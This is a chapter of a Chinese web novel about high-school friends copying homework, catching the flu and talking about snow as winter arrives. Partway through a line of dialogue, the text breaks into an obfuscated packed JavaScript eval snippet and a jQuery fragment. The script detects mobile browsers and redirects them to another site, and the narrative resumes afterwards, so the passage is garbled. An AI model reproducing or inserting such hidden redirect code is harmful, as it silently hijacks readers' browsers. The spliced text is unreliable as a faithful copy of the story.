时间是海绵里的水。


    当你需要挤出它时，才发现，海绵早已干涸，在正午的烈阳下。


    所以还是要小心照看好，每一寸光阴。


    不然，可能就要提心吊胆，随时担心值班老师的巡查。


    司缘君站在门口，遮挡视野，并且打探敌情。


    许遇鱼站在桌子另一边，挡住黑板上方的摄像头。


    分工搭配，干活不累。


    当然不累，因为累的是方知之。


    “其实这些大题你都不用抄的。”司缘君探过来脑袋，伸手在数学卷子上指指点点，“班里都没几个人做的出来。”


    “我之前也是这样空了一大片，结果老何给我退回来，让我多少写几步。”


    嘴里话说着，手上笔不停。


    所幸，许遇鱼的字很好看、很工整、很整齐，可谓是赏心悦目。


    “哎，我记得老何都很久没有批周末试卷了啊？”


    “所以说这才是问题所在！”


    方知之唰地把试卷翻了个面，题缝被排得满满当当，细看之下，却不知道写了什么东西。


    可能是间谍的密语，也可能是法师的咒符。


    或者，只是单纯的“做题记录”。


    下午玩得有些过于开心，直到迈步走进教室前，方知之才猛然想起，自己好像遗漏了什么重要的东西。


    很重要，重到要命。


    “可能这就是焉知非福吧。”


    “应该是乐极生悲……”许遇鱼小声勘误。


    “差不多。”司缘君摆了摆手，看了眼手表，“还好来的时间早，晚点教导主任就要来上班了。”


    “抄完了吗？那我收走了。”两张试卷被抽走，“别人排着队，抄小鱼的卷子呢。”


    “唉，你们说我的字，有那么难看懂吗？”


    “……”司缘君沉默地对着周运摇了摇头。


    “……今天请假的挺多，你们也注意小心流感。”


    好心终究是碎了一地。


    ……


    秋风悄悄裹着热意，吹向更南方。


    夜晚的最低气温，默默地低到了一位数。


    白天的时候，妈妈和外婆一起，把家里的被子，从衣柜的深处搬了出来，搭在了阳台上。


    太阳烘烤着棉絮，趴在晒熟的被子上，能闻到温暖的阳光味。


    许遇鱼昏昏欲睡，甘愿做砧板上的鱼，带着被子一起，被太阳伺候得舒舒服服。


    所幸，她没忘记，在夕阳西斜之前，把被子一床床抱回屋内。


    这是一家人过冬的“贮备粮”。


    许遇鱼的手总是发凉，而脚只会更甚。


    如果不是被窝残存的太阳热意，可能她已经把整个人缩成一团了。


    就像婴儿刚刚来到这个世界的模样。


    “今天这么早就上床了？”


    “嗯。”许遇鱼擤了擤鼻子，嗓音略显沙哑，“有点不舒服。”


    “天气冷得很快。”冬年顿了顿，接着道，“冬天要来了。”


    许遇鱼不置可否地摇了摇头，然后才意识到冬年看不到：“还没下过雨呢。”


    入冬的雨不同于夏，是黏腻、绵长的，挽留着生机的夏，不愿进入死寂的冬。


    阴湿又灰暗，小气且小心眼。


    只爱在白天时时断断地落下一些，非得打人个措手不及，让每个人从裤脚到心头都一片潮湿，才心满意足。


    许遇鱼不太喜欢冬天。


    “我好久没见过雪了。”好像每个南方人都会说这种话。


    “你以前，在北京生活的时候，是不是每年都能看见雪啊？”


    “应该——吧？我记不得了……”


    “多好啊。”


    “我印象里，上一次我们这儿下雪，是好久好久以前了，那时候，我应该在上小雪。”


    “我们


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14380460|142589||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在院子里堆了个雪人，那是第一次，也是最后一次。”


    “对了，那首歌你知道吗？就是那首，‘已经十几年没下雪的上海突然飘雪’’……”


    然后冬年就真的哼唱了起来，轻轻地，飘若空灵，恬如白雪。


    不掺杂一丝情感，只是平铺直叙，只是吟词哼调。


    仿佛置身事外。


    但没有感情，又何尝不是一种感情。


    “如果今年下雪的话，我可能就舍不得去日本了。”


    ……


    最后许遇鱼还是没记得问林哲语的事，虽然直觉告诉她，冬年肯定是知道的，但这毕竟并不是很重要的事。


    许遇鱼不出所料地病倒了，享受照顾的同时，躲过了那轮难耐的冬雨。


    可怜的雨滴，只能无可奈何地在玻璃上打着节拍。


    当她回到学校时，大家都已经换上了学校的冬季校服。


    是一件配加绒内胆的冲锋衣。


    “我觉得高一的比我们好看多了。”


    高三的校服，整体暗红，古板又老气，没精打采，恰如高三的学生。


    方知之点头附和司缘君的抱怨，高一的校服，是亮黄色的，鲜明又充满活力。


    披在方宁身上也很可爱。


    方亭姗姗来迟，坐到了长椅上：“秋游要提前了。”


    “不然就是冬游了。”司缘君不无讽刺地说道。


    “地方已经定好了，应该有自助烧烤。”方亭搓了搓手，覆在汤碗上，发出舒服的喟叹。


    “小宁你不冷吗？”循着方知之的声音，许遇鱼看向了方宁。


    外套紧贴，显然是没有在里面加足保暖。


    “裹成个粽子也太难看了。”


    方宁不知道从哪又掏出了手套和围巾：“更何况我还有别的保暖措施。”


    “这个手套还是专门用来打雪仗的呢。”


    还有这种辅助工具吗？